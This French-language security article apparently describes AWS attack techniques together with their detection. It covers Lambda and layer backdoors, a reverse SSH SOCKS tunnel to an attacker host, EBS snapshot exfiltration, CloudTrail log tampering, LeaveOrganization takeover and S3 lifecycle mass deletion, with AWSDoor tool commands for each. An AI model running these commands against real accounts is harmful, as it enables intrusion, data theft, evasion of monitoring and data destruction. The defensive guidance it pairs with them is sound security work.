Dans AWS, il est courant d’attacher des rôles IAM à des ressources comme des fonctions Lambda, des instances EC2 ou des tâches ECS. Cela permet à ces services d’accéder de manière sécurisée à d’autres ressources AWS, en fonction des autorisations définies dans le rôle. Par exemple, une instance EC2 peut utiliser un rôle pour lire des secrets dans Secrets Manager ou envoyer des journaux vers CloudWatch.

Du point de vue d’un attaquant, cette configuration peut être utile pour maintenir une persistance. S’il parvient à compromettre une ressource disposant d’un rôle hautement privilégié, tel qu’un rôle avec AdministratorAccess, il peut utiliser ce rôle pour interagir avec AWS de la même manière que le ferait la ressource.

Cela signifie que l’attaquant n’a pas besoin de créer de nouvelles informations d’identification ni de modifier directement IAM. Tant qu’il conserve l’accès à la ressource, il peut continuer à utiliser les autorisations du rôle, ce qui rend cette méthode à la fois efficace et plus difficile à détecter.

Lambda

Les fonctions AWS Lambda sont devenues un choix populaire pour exécuter du code dans le cloud sans avoir à gérer de serveurs. Elles permettent aux développeurs et aux organisations d’automatiser des tâches, de répondre à des événements et de créer des applications évolutives qui ne s’exécutent qu’en cas de besoin. Par exemple, Lambda peut traiter des fichiers téléchargés dans S3, gérer des requêtes API ou réagir automatiquement à des modifications dans une base de données.

Par exemple, pour gérer les administrateurs de comptes, il est possible de créer une fonction Lambda qui ajoute des privilèges à un utilisateur lorsqu’il est ajouté à une base de données DynamoDB : la modification de DynamoDB déclenche le code Lambda, qui modifie alors les privilèges de l’utilisateur en fonction des changements dans la base de données.

Par conséquent, il n’est pas habituel d’associer une identité IAM à une fonction Lambda.

Rôle sur-privilégié

Un moyen d’obtenir une persistance sur un compte AWS consiste soit à associer une identité IAM sur-privilégiée à une fonction Lambda existante, soit à modifier le code d’une fonction Lambda déjà sur-privilégiée.

Par exemple, un attaquant peut :

•  Créer une fonction Lambda
•  Associer un rôle IAM privilégié (en utilisant par exemple l’astuce NotAction)
•  Ajouter un code Python permettant soit d’exécuter du code arbitraire, soit d’extraire les identifiants temporaires de la Lambda
•  Exposer le répertoire de la Lambda sur Internet via un API Gateway ou une Lambda Function

La figure suivante résume le déploiement de la persistance :

Lambda layers

La technique de persistance Lambda décrite ci-dessus est efficace, mais elle présente un inconvénient majeur : le code malveillant est facile à repérer. Si quelqu’un modifie la logique métier principale de la fonction ou examine le code source lors d’une enquête, la porte dérobée sera probablement découverte et supprimée.

Une approche plus subtile consiste à dissimuler la charge utile malveillante dans une Lambda layer plutôt que dans le code même de la fonction.

Une Lambda layer est un moyen de distribuer des dépendances partagées telles que des bibliothèques ou des environnements d’exécution personnalisés. Au lieu d’intégrer ces éléments directement dans la fonction, on peut les téléverser séparément et les attacher à une ou plusieurs fonctions Lambda. Cela allège le package de déploiement et facilite la réutilisation du code entre différents projets. Les layers sont couramment utilisées pour inclure des outils comme requests ou les SDK AWS (boto3) dans plusieurs fonctions.

Du point de vue d’AWS, la layer est attachée à la fonction, mais son contenu n’est pas affiché directement dans la console.

Comme illustré dans la capture d’écran ci-dessous, AWS se contente d’indiquer la présence de la layer ; pour l’inspecter, un utilisateur doit se rendre manuellement dans le panneau Lambda Layers et la télécharger au format ZIP.

L’utilisation d’un layer est visible (mais peut facilement passer inaperçue), mais pour télécharger le code, l’utilisateur doit se rendre dans un panneau spécifique Lambda Layer et le télécharger (sans l’afficher) au format ZIP :

Ces étapes supplémentaires peuvent rendre les défenseurs moins enclins à examiner le contenu de la layer lors de la phase initiale de triage.

Un attaquant peut exploiter cela en créant une couche contenant une version compromise d’une bibliothèque standard, telle que requests. En surchargeant une fonction interne avec un comportement malveillant, l’attaquant obtient une exécution de code à distance chaque fois que la fonction est utilisée.

Par exemple, après avoir téléchargé le package requests avec pip :

pip install -t python requests

L’attaquant modifie la fonction get() afin d’exécuter des commandes arbitraires :

Ensuite, le package est compressé au format ZIP et déployé en tant que layer, qui est attachée à la fonction cible :

Enfin, le code source de la fonction Lambda est mis à jour pour utiliser la bibliothèque compromise, ce qui peut sembler inoffensif à première vue :

Ce qui ressemble à une requête HTTP légitime est désormais un déclencheur pour un comportement malveillant caché. À moins que le défenseur n’inspecte le contenu réel de la couche attachée, cette porte dérobée peut rester indétectée.

AWSDoor

Cette technique est implémentée dans AWSDoor :

python .\main.py -m AdminLambda -r FAKEROLE -n lambda_test2 -l
[+] The following trust policy will be created :
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Service": "lambda.amazonaws.com"
      },
      "Action": "sts:AssumeRole"
  ]
}

[+] Do you want to apply this change? (yes/no): yes
[+] Layer created
[+] Created lambda function lambda_test2
[+] Invoke URL : https://g4uqlkoakdr36m6agsxcho3idi0krwah.lambda-url.eu-west-3.on.aws/

Quelques paramètres supplémentaires peuvent être utilisés :

•  -l : utiliser une couche Lambda, sinon inclure le code malveillant directement dans la Lambda
•  -g : utiliser une API Gateway, sinon utiliser une FunctionURL

L’API Gateway est une méthode plus propre pour exposer une Lambda sur Internet ; cependant, il est possible de repérer facilement qu’elle est accessible depuis Internet, car cela est affiché comme un déclencheur.

La charge utile déployée par défaut prend un code Python passé en paramètre GET cmd, l’exécute, puis renvoie les données stockées dans la variable result:

curl ${invokeUrl}/cmd=`echo ‘result = “Hello World”’ | basenc --base64url` 
>> {result: “Hello World”}

Défense

Du point de vue d’un défenseur, les Lambda layers sont souvent négligées lors des réponses à incident, en particulier lorsque seul le code de la fonction est examiné. Comme les layers ne sont pas affichées en ligne dans la console Lambda et doivent être téléchargées manuellement sous forme d’archives ZIP, un contenu malveillant peut facilement passer inaperçu. Cela fait des layers un emplacement attractif pour les attaquants souhaitant dissimuler des portes dérobées ou des dépendances compromises.

Les stratégies de détection et de mitigation suivantes peuvent aider les équipes de sécurité à identifier et à réagir à une utilisation suspecte des couches Lambda :

•  Auditer les attachements de Lambda layers: l’événement UpdateFunctionConfiguration est enregistré par CloudTrail qu’un nouveau layer est attachée à une fonction Lambda. Il est alors possible de suivre les changements inhabituels ou les associations entre des équipes ou projets sans lien.
•  Restreindre la mise à jour des layers au flux CICD : empêcher toute modification de couche en dehors de la pipeline CICD, en établissant une liste blanche des rôles autorisés à le faire. Concentrer les efforts de détection et de chasse aux menaces sur les usages abusifs ou les mises à jour de ce rôle.
•  Vérifier les Lambda exposées directement sur Internet : exposer une Lambda sur Internet peut être un signe de déploiement de persistance. Toute modification inhabituelle de configuration impliquant l’exposition d’une telle ressource sur Internet doit être investiguée.

Bien que les layers soient une fonctionnalité puissante et utile, elles constituent un angle mort dans de nombreuses configurations de monitoring de la sécurité AWS.

EC2

Socks

AWS Systems Manager (SSM) offre un moyen puissant et flexible de gérer et d’interagir avec des instances EC2 sans nécessiter d’accès réseau direct tel que SSH ou RDP. Au cœur de son fonctionnement, SSM permet la gestion à distance en utilisant un agent installé sur l’instance, qui communique de manière sécurisée avec le service Systems Manager. Par ce canal, les administrateurs peuvent exécuter des commandes, lancer des scripts ou ouvrir des sessions shell interactives sur les instances, le tout sans les exposer à Internet public ni gérer de bastions d’accès.

L’un des principaux avantages de SSM est la réduction de la surface d’attaque grâce à la limitation des services exposés. Comme la communication est initiée depuis l’instance elle-même, qui se connecte aux points de terminaison du service SSM, cette approche fonctionne même dans un environnement réseau sécurisé où l’accès entrant est restreint.

D’un point de vue sécurité, bien que SSM réduise l’exposition, il introduit également de nouveaux risques. Par exemple, si un attaquant compromet une identité disposant des autorisations pour démarrer des sessions SSM ou envoyer des commandes, il peut obtenir une exécution de code à distance sur l’instance sans nécessiter de point d’appui réseau.

Un attaquant ayant accès au compte AWS peut exploiter les capacités de SSM pour compromettre une instance EC2 et l’utiliser comme pivot réseau. Une approche courante consiste à déployer un proxy SOCKS inversé via SSH. En utilisant SSM, l’attaquant peut exécuter des commandes sur l’instance EC2 pour y déployer une clé SSH, puis lancer une commande afin d’exposer le port SSH de l’EC2 vers son propre serveur :

ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -R 2222:127.0.0.1:22 jail@{attackerServer} -I ~/cloudinit.pem -N -f

Ensuite, l’attaquant, depuis son serveur, peut ouvrir un proxy SOCKS via SSH à l’aide de la commande suivante :

ssh -D 4444 ssm-user@127.0.0.1:2222

Cela lui permet de faire transiter du trafic à travers l’instance EC2 compromise, en l’utilisant comme point d’appui à l’intérieur du réseau.

Exfiltration de snapshot

Bien qu’elle ne constitue pas un mécanisme de persistance, l’exfiltration de snapshot est une technique puissante d’exfiltration de données dans les environnements AWS. Elle exploite la possibilité de partager des snapshots Elastic Block Store (EBS) entre différents comptes AWS. Bien que cette fonctionnalité soit conçue pour la sauvegarde ou la collaboration, elle peut être détournée pour exfiltrer massivement des données.

Un attaquant disposant de permissions suffisantes dans un compte AWS compromis peut créer un snapshot d’un volume EBS, puis le partager avec un compte externe qu’il contrôle.

Depuis ce compte AWS externe, le snapshot peut être monté, copié et inspecté, donnant à l’attaquant un accès complet aux données du disque sous-jacent sans jamais rien télécharger directement depuis l’environnement cible.

Cette méthode est particulièrement dangereuse lorsqu’elle est appliquée à une infrastructure sensible. Par exemple, si un contrôleur de domaine est virtualisé dans AWS, un attaquant peut prendre un snapshot de son volume, le partager avec son propre compte AWS et en extraire des fichiers sensibles tels que ntds.dit.

Tout cela peut se produire sans qu’il soit nécessaire d’interagir avec l’instance via le réseau, en contournant ainsi tous les outils de sécurité déployés sur le réseau interne.

Il s’agit d’une technique d’exfiltration de données à faible bruit mais à fort impact, qui détourne des fonctionnalités natives d’AWS et passe inaperçue si des contrôles spécifiques ne sont pas en place.

AWSDoor

Ces deux techniques sont implémentées dans AWSDoor. Les commandes suivantes peuvent être utilisées pour exporter une instance EC2 spécifique :

python .\main.py -m EC2DiskExfiltration -i i-0021dfcf18a891b07 -a 503561426720   
 
[-] The following volumes will be snapshoted and shared with 503561426720:                                       
        - vol-09ce1bf602374a743
[+] Do you want to apply this change? (yes/no): yes
[-] Created snapshot snap-006e79ceddf11a103 for volume vol-09ce1bf602374a743
[+] Shared snapshot snap-006e79ceddf11a103 with account 503561426720

De la même manière, l’action SSH SOCKS peut être automatisée :

python .\main.py -m EC2Socks -name i-0021dfcf18a891b07 -key "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILm9CIAw/X84wK1F5yfHJ+Z80S8iJjPNRuOIZlo7lMbg" -remotekey ..\..\Downloads\EC2.pem -user ec2-user -socksport 4444 -sshuser admin -sshhost 13.38.79.236 --method systemd

[+] Command sent with ID: abdaf34e-7750-47b5-88c5-05d3fc1e67da
[-] Waiting 10 seconds for execution
[+] Status: Success

Détection

Pour la partie snapshot, CloudTrail enregistre plusieurs événements :

• CreateSnapshot : enregistré lorsqu’un snapshot est créé. Il s’agit d’une opération courante dans la plupart des environnements disposant de politiques de sauvegarde, donc pas intrinsèquement suspecte. Cependant, il est facile pour des attaquants de se fondre dans le bruit en imitant l’activité de sauvegarde standard.
• ModifySnapshotAttribute : enregistré lorsque le snapshot est partagé. Bien que la modification d’un attribut de snapshot ne soit pas inhabituelle, une simple analyse du contenu montre que le snapshot a été partagé avec un compte distant :

Il est donc possible de limiter ce type d’exploitation en surveillant l’événement ModifySnapshotAttribute et en s’assurant que la valeur de userId se situe dans la plage des comptes liés à l’organisation.

De même, une méthode relevant de la « sécurité par l’obscurité » consisterait à ajouter des balises spécifiques lorsque des snapshots sont effectués à des fins de sauvegarde, puis à déclencher une alerte lorsqu’un snapshot est créé sans la balise appropriée. La balise pourrait, par exemple, être un hachage de l’heure de création, dérivé d’un secret connu uniquement de l’outil de sauvegarde.

BackupTag=HMAC(creation_time, secret)

Pour l’exploitation en reverse SOCKS, cela dépend de la manière dont l’accès SSM est effectué :

• Depuis la console AWS (GUI) : un événement StartSession est enregistré dans CloudTrail lorsque l’attaquant démarre la connexion distante vers la machine. Le journal contient l’adresse IP de l’attaquant ainsi que l’identifiant EC2 ciblé.

• Depuis l’AWS CLI ou AWSDoor : l’événement StartSession n’est pas généré, mais c’est GetCommandInvocation qui est enregistré à la place.

Cependant, quelle que soit la technique utilisée, CloudTrail ne journalise pas la ligne de commande complète envoyée. Il reste donc pertinent et important d’ajouter une solution EDR directement sur les ressources.

Altération des défenses

L’altération des défenses désigne toute action délibérée entreprise par un attaquant pour affaiblir, désactiver ou contourner les capacités de surveillance et de détection d’un environnement cible. Dans AWS, cela implique généralement de manipuler les configurations de journalisation, de désactiver des services de sécurité ou de modifier les mécanismes d’alerte afin d’éviter la détection pendant ou après une attaque.

AWS fournit plusieurs services intégrés conçus pour surveiller l’activité, appliquer la conformité et alerter en cas de comportement suspect. Ces services incluen : CloudTrail pour la journalisation des appels API, CloudWatch Logs et CloudWatch Alarms pour la surveillance et l’alerte en temps réel, GuardDuty pour la détection des menaces, Security Hub pour la centralisation des constats de sécurité et Config pour le suivi de la configuration des ressources. Les environnements plus avancés peuvent également s’appuyer sur des SIEM tiers ou des plateformes CSPM intégrées à leurs comptes AWS.

La désactivation ou la modification de l’un de ces services peut réduire considérablement la visibilité dont disposent les défenseurs sur les activités malveillantes, faisant de l’altération des défenses une tactique essentielle dans de nombreuses attaques menées dans le cloud.

CloudTrail et CloudWatch

Introduction à la journalisation AWS

Dans les environnements AWS, CloudTrail et CloudWatch sont deux services essentiels de journalisation et de surveillance qui jouent des rôles complémentaires, mais avec des finalités très différentes. CloudTrail est conçu pour enregistrer toute l’activité API qui se produit dans un compte AWS. Il consigne chaque appel effectué via la console de gestion AWS, l’AWS CLI, les SDK ou autres services AWS. Ainsi, lorsqu’une personne crée une instance EC2, modifie un groupe de sécurité ou supprime une ressource, CloudTrail capture qui a effectué l’action, quand, où et quoi. Ces journaux sont indispensables pour l’audit, les enquêtes forensiques et le suivi des modifications apportées à l’infrastructure.

CloudWatch, quant à lui, se concentre sur la surveillance opérationnelle. Il collecte et stocke les journaux provenant des services et applications, suit des métriques comme l’utilisation CPU ou la consommation mémoire, et prend en charge les alarmes et tableaux de bord pour une visibilité en temps réel. Lorsqu’une application écrit des journaux ou que la surveillance des performances système est nécessaire, c’est CloudWatch qui est utilisé. Il peut également être configuré pour recevoir et stocker les journaux provenant de fonctions Lambda, d’instances EC2 ou d’applications personnalisées.

La journalisation réseau est également proposée par AWS via les services VPC Flow Logs ou VPC Mirroring. Bien qu’ils puissent être utilisés à des fins de sécurité, leur utilité principale est davantage orientée vers la surveillance opérationnelle. Cet article se concentrera sur le service CloudTrail.

CloudTrail est activé par défaut et conserve les événements pendant 90 jours. Ce service constitue une base de journalisation qui ne peut pas être restreinte ou désactivée. Cependant, des capacités de journalisation supplémentaires peuvent être activées en définissant des trails dans CloudTrail.

CloudTrail conserve les journaux et garantit leur intégrité pendant 90 jours, après quoi les journaux sont supprimés de l’Event History. Si une organisation souhaite assurer une durée de conservation plus longue ou mettre en place une surveillance en temps réel spécifique à partir de ces journaux, elle doit configurer un trail. Cette configuration duplique les journaux et les transfère vers un bucket S3, sur lequel peuvent être branchés des outils de sécurité supplémentaires.

En tant qu’administrateur Cloud, il est possible de créer un « Organization Trail » qui se réplique dans tous les comptes cibles de l’organisation. Une fois mis en place, il n’est pas possible pour un compte ciblé de supprimer ou de désactiver ce trail.

Arrêt de la journalisation

Attaque

S’il n’est pas facilement possible d’altérer les capacités de journalisation de CloudWatch, il est en revanche possible d’affecter celles de CloudTrail en désactivant simplement la fonction de journalisation.

Cette fonctionnalité permet d’interrompre l’enregistrement des événements par un trail sans pour autant le supprimer :

Bien que cette technique soit efficace pour altérer certaines capacités spécifiques de journalisation, elle présente plusieurs inconvénients majeurs :

• Effet limité : même si un trail spécifique est impacté, les Organization Trails ne peuvent pas être contournés de cette manière. De plus, l’Event History, avec sa période de rétention inaltérable de 90 jours, restera toujours disponible.
• Action bruyante : même si la commande d’arrêt n’est pas détectée, la plupart des solutions SIEM déclenchent des alertes lorsque le flux de journaux s’interrompt.

AWSDoor

Cette technique est implémentée dans AWSDoor:

python .\main.py --m CloudTrailStop -s
[+] Trail logging stopped on 'management-events'

La limitation réside dans le fait que cela ne désactivera que les trails définis dans le compte actuel et ne supprimera pas ceux définis au niveau de l’organisation.

Défense

Du côté du défenseur, cette technique peut être facilement détectée en consultant l’interface graphique. De plus, CloudTrail enregistre également l’événement StopLogging, indiquant qu’un trail a été altéré.

Sélecteur d’évènement

Attack

Dans AWS CloudTrail, les sélecteurs d’événements permettent un contrôle précis sur les types d’événements qu’un trail enregistre. Ces sélecteurs peuvent être configurés pour consigner les événements de gestion, les événements de données, ou les deux. Les événements de gestion enregistrent les opérations qui administrent les ressources AWS, comme le lancement d’une instance EC2 ou la modification de rôles IAM. Il s’agit généralement d’appels API de haut niveau effectués via la console, le SDK ou l’AWS CLI, et ils sont essentiels pour l’audit des actions administratives.

Par défaut, les trails enregistrent les événements de gestion, mais il est possible de modifier les sélecteurs d’événements pour les exclure partiellement ou totalement. Cette flexibilité peut être utile pour réduire le bruit ou les coûts dans des environnements fortement automatisés, mais elle introduit également un risque. Un attaquant disposant des autorisations adéquates pourrait manipuler les sélecteurs d’événements d’un trail afin de supprimer certains types de journaux, par exemple en désactivant l’enregistrement des événements de gestion, ce qui réduirait la visibilité sur les changements effectués pendant ou après une compromission.

Ainsi, en modifiant les sélecteurs d’événements, il est possible de dégrader les capacités de journalisation de CloudTrail, rendant plus difficile pour les défenseurs la détection d’activités non autorisées ou l’investigation d’incidents.

L’événement de gestion peut être simplement désactivé. Pour l’événement de données, afin d’éviter d’avoir un champ vide dans l’interface graphique, il est possible de forcer la configuration du sélecteur d’événements à n’enregistrer que des événements liés à une ressource inexistante :

AWSDoor

AWSDoor peut être utilisé pour reconfigurer le sélecteur d’événements afin d’empêcher la journalisation des événements de données et de gestion :

python .\main.py --m CloudTrailStop
[+] Adding event selector on management-events
[+] Management events disabled on trail 'management-events'

Une fois le script exécuté, le sélecteur d’événements est configuré. Le trail apparaît toujours comme actif:

Cependant, le sélecteur d’événements empêche toute journalisation ultérieure :

Défense

La création du sélecteur d’événements peut être détectée grâce à l’événement PutEventSelector enregistré dans CloudTrail :

De même, l’analyse de la collecte des journaux et de leur volumétrie constituerait un indicateur de compromission intéressant. Si le flux de journaux s’interrompt, il est probable qu’il s’agisse d’une attaque.

Destruction

Les attaques ciblant la destruction de données visent à provoquer d’importants dommages opérationnels en effaçant ou en corrompant de manière permanente des informations et des infrastructures critiques. Contrairement à l’exfiltration de données ou à l’élévation de privilèges, ces attaques ne cherchent pas à extraire de la valeur ou à maintenir un accès, mais plutôt à perturber la continuité des activités, nuire à la réputation ou saboter les systèmes de façon irréversible.

Dans les environnements cloud comme AWS, les attaques destructrices peuvent toucher tous types de ressources, comme par exemple : les ressources de stockage, les ressources de calcul ou les composants de configuration tels que les rôles IAM et les fonctions Lambda :

• La suppression de buckets S3 peut entraîner la perte de sauvegardes, de données clients ou d’informations réglementaires / techniques (journalisation).
• L’effacement de volumes EBS ou de snapshots RDS peut provoquer la perte totale de l’état d’une application ou de bases de données critiques.
• Le formatage du compte AWS (en supprimant tous les services possibles) peut causer une interruption de service très longue, même si les données sont sauvegardées en externe, en particulier si l’infrastructure n’est pas déployée via IaC ou si l’IaC est également détruit.

AWS Organization Leave

Organization Leave

AWS Organizations est un service qui permet de gérer et de gouverner de manière centralisée plusieurs comptes AWS à partir d’un point unique. Au sommet de la hiérarchie se trouve le service Organization, comprenant un compte de gestion (appelé compte payeur / maître / compte de gestion) et un ou plusieurs comptes membres. Ces comptes peuvent être regroupés en unités organisationnelles, ce qui facilite l’application de politiques ou la gestion des sauvegardes à grande échelle.

Chaque compte AWS au sein d’une organisation reste isolé en termes de ressources et d’identité, mais l’organisation peut appliquer des politiques telles que les Service Control Policies (SCP) à l’ensemble des comptes, imposant ainsi des restrictions spécifiques à tous les comptes, de la même manière qu’un GPO le fait dans un domaine Windows. Cette structure est particulièrement utile pour séparer les données et les charges de travail par équipe, environnement ou unité métier, tout en maintenant une gouvernance centralisée.

AWS permet également d’inviter ou de rattacher un compte autonome existant à une organisation. Ce processus peut être initié depuis le compte de gestion et nécessite que le compte invité accepte la demande. De même, des comptes peuvent être détachés et déplacés vers une autre organisation, bien que cette action soit soumise à certaines restrictions. Par exemple, certains services ou fonctionnalités AWS peuvent se comporter différemment lorsqu’un compte fait partie d’une organisation, notamment en matière de facturation consolidée et d’application des politiques. Cette fonctionnalité peut être utile lors de fusions, de restructurations ou pour la gestion du cycle de vie des comptes, mais elle ouvre également un vecteur d’attaque potentiel si elle n’est pas étroitement surveillée.

Suppression de données

La suppression de toutes les données d’un compte AWS n’est que rarement instantanée. Si certaines ressources comme les rôles IAM ou les groupes de sécurité peuvent être supprimées rapidement, d’autres, comme de grands buckets S3, des snapshots EBS ou des instances RDS, nécessitent plus de temps en raison de leur taille ou de la nature de l’infrastructure sous-jacente.

Pour contourner cette limitation, un attaquant ayant compromis le compte de gestion (pour impacter l’ensemble des comptes) ou simplement un compte spécifique peut exploiter AWS Organizations en détachant le compte ciblé et en le déplaçant vers une organisation qu’il contrôle. Cette opération s’effectue via la fonctionnalité Leave Organization (Quitter l’organisation).

Contrairement à la suppression de données, quitter une organisation est une action immédiate. Une fois le compte sorti de l’organisation AWS de l’entreprise, il est trop tard : l’action ne peut pas être annulée. Sans droits AdminAccess sur le compte autonome, il ne sera pas possible de le rattacher facilement à l’organisation, offrant ainsi à l’attaquant une large fenêtre pour supprimer méthodiquement toutes les ressources qui y sont attachées.

Exfiltration de données avant suppression

Bien que la commande LeaveOrganization soit une opération destructrice, elle peut également être utilisée pour exfiltrer des données avant leur suppression. Au lieu d’effacer toutes les ressources d’un compte AWS compromis, un attaquant peut choisir de détacher le compte de l’organisation, de conserver toute l’infrastructure intacte et d’exfiltrer lentement des données sensibles.

Par exemple, une entreprise héberge une application eShop sur AWS. L’attaquant, ayant compromis le compte AWS, utilise l’action LeaveOrganization pour reprendre le contrôle de la ressource eShop. Cette action retire le compte du contrôle centralisé, supprimant ainsi toute Service Control Policy, toute journalisation centralisée et tout mécanisme de gouvernance précédemment appliqué par l’organisation, sans pour autant impacter sa disponibilité.

Avec le contrôle total de ce compte désormais autonome, l’attaquant peut agir sans supervision. L’eShop continue de fonctionner normalement, servant les clients et traitant les commandes, mais en arrière-plan, l’attaquant dispose d’un accès illimité à toutes les ressources associées. Il peut lire les buckets S3, interroger la base de données clients, extraire des données de paiement et exfiltrer discrètement les informations bancaires ainsi que les données personnelles de chaque utilisateur, sans interrompre le service ni déclencher d’alertes opérationnelles.

Du point de vue de l’entreprise, une fois que le compte a quitté l’AWS Organization, l’équipe de sécurité perd toute visibilité et autorité administrative sur celui-ci. Elle ne peut plus arrêter facilement les ressources impactées directement depuis son propre compte AWS.

Sans accès administrateur au compte désormais isolé, l’entreprise n’a aucun moyen de désactiver les services, de suspendre la facturation ou de mettre fin à l’infrastructure compromise. Cela donne à l’attaquant une liberté opérationnelle totale, tandis que l’organisation se retrouve aveugle et incapable de réagir autrement qu’en sollicitant l’assistance AWS.

Privilèges requis

Pour exécuter l’action LeaveOrganization et détacher un compte AWS de son organisation, l’attaquant doit disposer de privilèges élevés au sein du compte ciblé. Plus précisément, les conditions et autorisations IAM suivantes sont requises :

• Accès au niveau du compte : l’attaquant doit avoir un accès direct au compte membre qu’il souhaite détacher. Cela signifie qu’il doit déjà être authentifié dans ce compte AWS spécifique, soit via des identifiants volés, des jetons de session, ou en exploitant des rôles ou politiques IAM vulnérables.
• Permission organizations:LeaveOrganization : il s’agit de l’autorisation IAM clé nécessaire pour invoquer l’appel API LeaveOrganization. Elle doit être explicitement accordée dans les permissions effectives de l’attaquant. Cette action n’est valide que lorsqu’elle est exécutée depuis le compte membre, et non depuis le compte de gestion.
• Accès à la facturation : bien que non strictement requis pour quitter une organisation, un attaquant ayant accès à la facturation et aux paramètres du compte (via les actions aws-portal:*, account:* ou billing:*) peut renforcer sa position, mettre à jour les informations de contact ou verrouiller les utilisateurs légitimes après le détachement. De plus, la plupart des comptes créés au sein d’une organisation le sont sans informations de paiement (car elles sont héritées du compte payeur). Cependant, pour qu’un compte puisse être détaché et devenir autonome, ces informations doivent être renseignées.

Défense and détection

Prévention des appels non autorisés à leaveorganization

Le contrôle le plus efficace est l’utilisation des Service Control Policies (SCP). Les SCP définissent les permissions maximales disponibles pour les comptes au sein d’une AWS Organization et peuvent refuser explicitement l’action organizations:LeaveOrganization, même si un utilisateur ou un rôle IAM local dispose de cette permission.

L’opération LeaveOrganization est exécutée depuis le compte membre lui-même, et non par le compte de gestion. Cela signifie qu’un attaquant n’a pas besoin de compromettre entièrement l’organisation AWS pour détacher un compte.

La SCP, définie au niveau de l’organisation, peut empêcher tout utilisateur des comptes de quitter l’organisation. Dans ce cas, l’attaquant doit d’abord compromettre l’ensemble de l’organisation AWS avant de pouvoir mener l’attaque.

La politique suivante empêchera tout usage abusif de LeaveOrganization :

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DenyLeaveOrganization",
      "Effect": "Deny",
      "Action": "organizations:LeaveOrganization",
      "Resource": "*"
    }
  ]

}

Cette SCP doit être attachée directement à la racine de l’AWS Organization afin de garantir qu’elle s’applique à tous les comptes membres. Elle garantit qu’aucun compte ne puisse quitter unilatéralement l’organisation, même en cas de compromission.

Détection et Monitoring

Même avec des SCP en place, la surveillance des tentatives de LeaveOrganization est essentielle pour une défense en profondeur. En effet, même si l’action LeaveOrganization échoue en raison de la SCP, disposer d’une surveillance sur l’événement LeaveOrganization peut aider à détecter qu’une attaque est en cours dans l’environnement AWS.

Par exemple, une alarme CloudWatch pour déclencher des alertes lorsque l’événement LeaveOrganization ou DisablePolicyType se produit.

Destruction de bucket S3

Politique standard de suppression S3

Amazon S3 est l’un des services de stockage les plus utilisés et les plus fiables de l’écosystème AWS. Les organisations s’appuient sur lui pour stocker aussi bien des journaux et des fichiers que des données métier critiques et des sauvegardes. La destruction de données S3 peut avoir un impact bien plus important que la perte de quelques ressources de calcul, ce qui en fait une cible de grande valeur pour les attaquants.

Si le téléversement et le stockage de données dans S3 sont simples, la suppression de volumes importants de données est volontairement coûteuse en ressources et chronophage. Lorsqu’un bucket S3 est supprimé ou vidé, AWS effectue une suppression récursive et séquentielle de chaque objet, ce qui peut prendre des heures, voire des jours, dans de grands environnements.

De plus, AWS applique une cohérence finale (eventual consistency) sur les suppressions d’objets : même après une requête de suppression, les objets peuvent persister temporairement. Ces choix de conception offrent aux défenseurs une fenêtre temporelle cruciale pour détecter et contrer les tentatives de suppression avant qu’une perte de données irréversible ne survienne.

Politique de cycle de vie

Les politiques de cycle de vie Amazon S3 offrent un mécanisme automatisé pour gérer le cycle de vie du stockage des objets dans un bucket. Elles permettent de définir des règles qui transfèrent les objets vers différentes classes de stockage ou les font expirer (supprimer) après une période définie, selon des critères tels que l’âge de l’objet, un préfixe ou des balises. Cette automatisation aide les organisations à optimiser les coûts de stockage et à appliquer des politiques de conservation des données sans intervention manuelle.

Cependant, les politiques de cycle de vie fonctionnent différemment des processus manuels et contournent les protections standard conçues pour ralentir les suppressions massives. Un attaquant ayant obtenu des privilèges élevés dans un compte AWS peut créer ou modifier une politique de cycle de vie afin de fixer l’expiration des objets à la durée minimale autorisée (1 jour). Une fois appliquée, cette politique est rétroactive : tous les objets existants dans le bucket seront marqués pour expiration et programmés pour suppression, et tous les nouveaux objets créés expireront peu après leur création.

Contrairement aux suppressions manuelles, les expirations via une politique de cycle de vie sont gérées en interne par AWS à grande échelle et s’exécutent beaucoup plus rapidement. Cela peut permettre une suppression massive, rapide et furtive du contenu d’un bucket, sans générer le volume d’appels API ou le bruit opérationnel typique des suppressions récursives manuelles. Comme les modifications de politiques de cycle de vie peuvent ne pas déclencher d’alertes immédiates ou évidentes, un tel abus représente un risque important de destruction de données non détectée dans les environnements AWS.

Étant donné que les politiques de cycle de vie sont appliquées quotidiennement, le défenseur dispose de moins d’une journée pour détecter la modification de la politique, retirer le marquage de suppression et révoquer l’accès de l’attaquant.

AWSDoor

Cette technique est implémentée par AWSDoor:

python .\main.py --m S3ShadowDelete -n s3bucketname

Détection

La détection des suppressions furtives d’objets via les politiques de cycle de vie S3 peut facilement être manquée, car la suppression d’objets par expiration de cycle de vie ne génère pas d’événements DeleteObject standards dans CloudTrail, contrairement aux suppressions manuelles.

À la place, AWS gère en interne le processus de suppression de manière asynchrone, sans attribuer ces suppressions à un utilisateur ou rôle spécifique. Par conséquent, de nombreuses solutions de surveillance de sécurité ne reconnaissent pas cette action comme malveillante, alors qu’elle vise à impacter la disponibilité des données. Le seul indicateur fiable d’une telle opération est l’événement API PutBucketLifecycleConfiguration, qui journalise la création ou la mise à jour d’une règle de cycle de vie définissant un nouveau paramètre d’expiration (Expiration).

Pour détecter un abus potentiel, il convient de configurer une règle CloudWatch afin de surveiller les événements PutBucketLifecycleConfiguration et d’inspecter automatiquement la nouvelle configuration de politique. Si la politique inclut une action d’expiration fixée à la durée minimale autorisée (1 jour) ou s’applique largement à tous les objets, cela doit être considéré comme un changement à haut risque.

Dans les environnements sensibles, de tels changements de configuration devraient déclencher des alertes immédiates, une remédiation automatique et nécessiter une validation manuelle. Comme cette méthode contourne la traçabilité habituelle des suppressions au niveau objet, une détection précoce au niveau de la configuration est essentielle pour éviter une perte de données silencieuse et à grande échelle : l’équipe de défense ne disposera que d’une journée pour réagir.

Conclusion

CSPM

L’article a montré comment les configurations IAM peuvent être exploitées de manière furtive pour maintenir un accès à long terme dans des environnements AWS. Des techniques telles que l’injection de clés d’accès (AccessKey injection), l’ajout de portes dérobées dans les politiques de confiance (trust policy backdooring) et l’utilisation de politiques NotAction permettent aux attaquants de persister sans déployer de logiciel malveillant ni déclencher d’alertes.

